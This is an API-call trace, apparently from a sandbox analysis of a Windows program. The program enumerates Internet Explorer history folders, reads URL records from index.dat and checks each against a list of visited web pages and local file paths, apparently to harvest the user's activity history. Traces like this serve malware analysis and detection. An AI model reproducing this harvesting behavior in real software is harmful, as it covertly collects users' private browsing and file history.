[0079.669] FindFirstFileW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\*.*", lpFindFileData=0x128518 | out: lpFindFileData=0x128518) returned 0x1b1cd8
[0079.671] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706") returned 0x64
[0079.671] wcslen (_String=".") returned 0x1
[0079.671] wcscpy (in: _Dest=0x128768, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706"
[0079.671] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706") returned 0x64
[0079.671] wcscat (in: _Dest=0x128768, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\"
[0079.671] wcscat (in: _Dest=0x128768, _Source="." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\.") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\."
[0079.671] wcscmp (_String1=".", _String2="..") returned -1
[0079.671] wcscmp (_String1=".", _String2=".") returned 0
[0079.672] _wcsicmp (_String1=".", _String2="index.dat") returned -59
[0079.672] FindNextFileW (in: hFindFile=0x1b1cd8, lpFindFileData=0x128518 | out: lpFindFileData=0x128518) returned 1
[0079.672] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706") returned 0x64
[0079.672] wcslen (_String="..") returned 0x2
[0079.672] wcscpy (in: _Dest=0x128768, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706"
[0079.672] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706") returned 0x64
[0079.672] wcscat (in: _Dest=0x128768, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\"
[0079.672] wcscat (in: _Dest=0x128768, _Source=".." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\..") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\.."
[0079.672] wcscmp (_String1="..", _String2="..") returned 0
[0079.672] _wcsicmp (_String1="..", _String2="index.dat") returned -59
[0079.672] FindNextFileW (in: hFindFile=0x1b1cd8, lpFindFileData=0x128518 | out: lpFindFileData=0x128518) returned 1
[0079.672] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706") returned 0x64
[0079.672] wcslen (_String="index.dat") returned 0x9
[0079.672] wcscpy (in: _Dest=0x128768, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706"
[0079.672] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706") returned 0x64
[0079.672] wcscat (in: _Dest=0x128768, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\"
[0079.672] wcscat (in: _Dest=0x128768, _Source="index.dat" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\index.dat") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\index.dat"
[0079.672] _wcsicmp (_String1="index.dat", _String2="index.dat") returned 0
[0079.672] CreateFileW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017070520170706\\index.dat" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017070520170706\\index.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4
[0079.673] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
[0079.673] ReadFile (in: hFile=0xa4, lpBuffer=0x1281e8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x121eb0, lpOverlapped=0x0 | out: lpBuffer=0x1281e8*, lpNumberOfBytesRead=0x121eb0*=0x20, lpOverlapped=0x0) returned 1
[0079.725] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8000
[0079.725] SetFilePointer (in: hFile=0xa4, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
[0079.725] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.725] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.725] SetFilePointer (in: hFile=0xa4, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
[0079.725] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x121e8c, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e8c*=0x100, lpOverlapped=0x0) returned 1
[0079.725] _strlwr (in: _Str="http://www.msn.com/de-de/" | out: _Str="http://www.msn.com/de-de/") returned="http://www.msn.com/de-de/"
[0079.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12616e, cbMultiByte=-1, lpWideCharStr=0x121ee8, cchWideChar=8192 | out: lpWideCharStr="http://www.msn.com/de-de/") returned 26
[0079.726] wcscmp (_String1="http://www.msn.com/de-de/", _String2="http://google.com") returned 1
[0079.726] wcscmp (_String1="http://www.msn.com/de-de/", _String2="https://www.google.de/") returned -1
[0079.726] wcscmp (_String1="http://www.msn.com/de-de/", _String2="http://www.google.de/") returned 1
[0079.726] wcscmp (_String1="http://www.msn.com/de-de/", _String2="http://www.msn.com/de-de/") returned 0
[0079.726] SetFilePointer (in: hFile=0xa4, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
[0079.726] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.726] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.726] SetFilePointer (in: hFile=0xa4, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
[0079.726] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x121e8c, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e8c*=0x100, lpOverlapped=0x0) returned 1
[0079.726] _strlwr (in: _Str=":Host: www.msn.com" | out: _Str=":host: www.msn.com") returned=":host: www.msn.com"
[0079.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12616e, cbMultiByte=-1, lpWideCharStr=0x121ee8, cchWideChar=8192 | out: lpWideCharStr=":host: www.msn.com") returned 19
[0079.726] wcscmp (_String1=":host: www.msn.com", _String2="http://google.com") returned -1
[0079.726] wcscmp (_String1=":host: www.msn.com", _String2="https://www.google.de/") returned -1
[0079.726] wcscmp (_String1=":host: www.msn.com", _String2="http://www.google.de/") returned -1
[0079.726] wcscmp (_String1=":host: www.msn.com", _String2="http://www.msn.com/de-de/") returned -1
[0079.726] wcscmp (_String1=":host: www.msn.com", _String2="https://www.microsoft.com/en-us/iegallery") returned -1
[0079.726] wcscmp (_String1=":host: www.msn.com", _String2="http://www.iegallery.com/en/addons/") returned -1
[0079.726] wcscmp (_String1=":host: www.msn.com", _String2="https://support.microsoft.com/products/internet-explorer") returned -1
[0079.726] wcscmp (_String1=":host: www.msn.com", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1
[0079.726] wcscmp (_String1=":host: www.msn.com", _String2="http://go.microsoft.com/fwlink/") returned -1
[0079.726] wcscmp (_String1=":host: www.msn.com", _String2="https://support.microsoft.com/internet-explorer") returned -1
[0079.726] wcscmp (_String1=":host: www.msn.com", _String2="http://www.msn.com/") returned -1
[0079.726] wcscmp (_String1=":host: www.msn.com", _String2=":host: computer") returned 1
[0079.726] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveyd~1/desktop/49343.doc") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/xsdx_zrd.docx") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/qu0oigomb7ap.gif") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/qqujwic.doc") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/3jbbrdk5kxyke.jpg") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/swpar5ukzey.xls") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/joje0p8bocqgjp%20o6.pps") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/yz5je7_%203.pps") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/encwj2/qtvvz.ots") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/l9uj7p%20fba_9_y.ppt") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/ckllfrri-zjdkcmsae.gif") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/qk7rbutispvizu7iod.gif") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/_1x3x.png") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/mfotgb5shny.gif") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/k4k5n.flv") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/r2ojuqwylgit6.ots") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/_odawwkfl1ra.docx") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/rnndlhlyrgwupi.xlsx") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/iifn4u9wweiqmdcl9.bmp") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/pim74emk.xlsx") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/tnxw0vods.docx") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/olxk.ots") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/ec0l%20bsovag9a8ny6n.bmp") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pan9h-9jw%20sz4.doc") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/s0hxf5vbqg3tuou7yaih.png") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/_vv7923nmd.gif") returned -1
[0079.727] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/t5_cs_ek5wgumutxo.odp") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/wfg.mkv") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/sipbk.bmp") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/2grp.xlsx") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/dottc_9plzq5o597imze.ots") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/gu-f.gif") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/mcygb.pptx") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/np2rpt4nzhnmzvjocd.jpg") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/zkrsd-4qoax5jm7.png") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/eorqdbqjtjf1ohk.png") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/3tyatzvc1z7khwie.gif") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/glcl.pptx") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/tqck56jeac.png") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/xtvhwzic5kkeheqytagm.xls") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/u4m-9pzjcphsi6.swf") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/61wsaurg.bmp") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/nnht-qixy.docx") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/hdlvazkif3vkccxbdo.docx") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/josiaz/pgp_.mkv") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/l%20sigus.swf") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/pvi1bvfiliqmdkwr.jpg") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/u%20x2wz014nno431w.ods") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/h2cb7jajw.flv") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/vajlxu.png") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/josiaz/aeprpt-%20br_yutu-.swf") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/yaqsguigi.bmp") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/jtlncq7xp14exqse.gif") returned -1
[0079.728] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/yjkdm-.bmp") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/myvtc.swf") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_yvkle%2090dkso.png") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/n6il-.docx") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/lpoiy2.odp") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/1h-emphi.docx") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/whpmoqfwzkb.csv") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/s2oohh8l.xlsx") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/_svemcyosgi9z.gif") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/x%20zf.ots") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/wiblbzdzcgvsaek0.gif") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/qbj9kmkrnritnjjczm.png") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/8--huyyjvzb64.swf") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/dgbvew5txb_of.pptx") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/3iszptsfkc.pps") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/4xsp.doc") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/gm5jte.png") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/87gn.png") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/4plh_a-eec.doc") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/genq52xzytg.swf") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/i6q4ouxy.swf") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/e5q5mim%20%20jr.docx") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/eb2hhnlry-lic.csv") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/ehtqo4ki.png") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/6fyo-5qa.pps") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/ionye%20n-y0yof.rtf") returned -1
[0079.729] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/pzdszbvbaqd.pps") returned -1
[0079.730] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/kxnvh5qb%20v.xlsx") returned -1
[0079.730] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/rthnmpt4.flv") returned -1
[0079.730] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/h8t9gaqgi.csv") returned -1
[0079.730] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/hqgdu8.xlsx") returned -1
[0079.730] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/o_m4tlnnqh_j6l.flv") returned -1
[0079.730] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/limz5v.csv") returned -1
[0079.730] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/ywyoxuxawfnzgqi3r.pptx") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/4qaggwk3%20all.doc") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/pg%20vt.swf") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/rtshl9p-.flv") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/k5kcsxnzz586a.mkv") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pktpgto-.odp") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/db%20t5t-sbxsujrv0c.flv") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/p_8z9o.odp") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/t1kkmdu3tofb.bmp") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/uezrn08sfabq3k36bwj.png") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/josiaz/sfxq3ziiymv14cjiyaox.flv") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/tghk.docx") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/gfqdbs7ski.jpg") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/j0tfq.pptx") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/dxoeo.jpg") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/mpvc3rk.swf") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/o0jasu4fw456esf.gif") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/numnzhof36r.png") returned -1
[0079.731] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/eqeagiu6sfywa.gif") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/qffjmw5qb0hkk.odp") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/gfs_u1.bmp") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/po5dzd.png") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/6%20%20ld0epzn54nf6f62.pdf") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/db_m.pptx") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/ihug/5vgrnxxmt0.jpg") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/ns6oxgxy5z4yhi.gif") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/jdiiemseuyip28.xlsx") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/thid1s161xflbvs1qvby.mkv") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/sq4zs.odt") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hvddhydd.gif") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/bscqw.odt") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/81snq.bmp") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/mso-zv%20iw0fbw4-p3v.bmp") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/wozzxzbxqscnly17n0.xlsx") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/8cb1qu.gif") returned -1
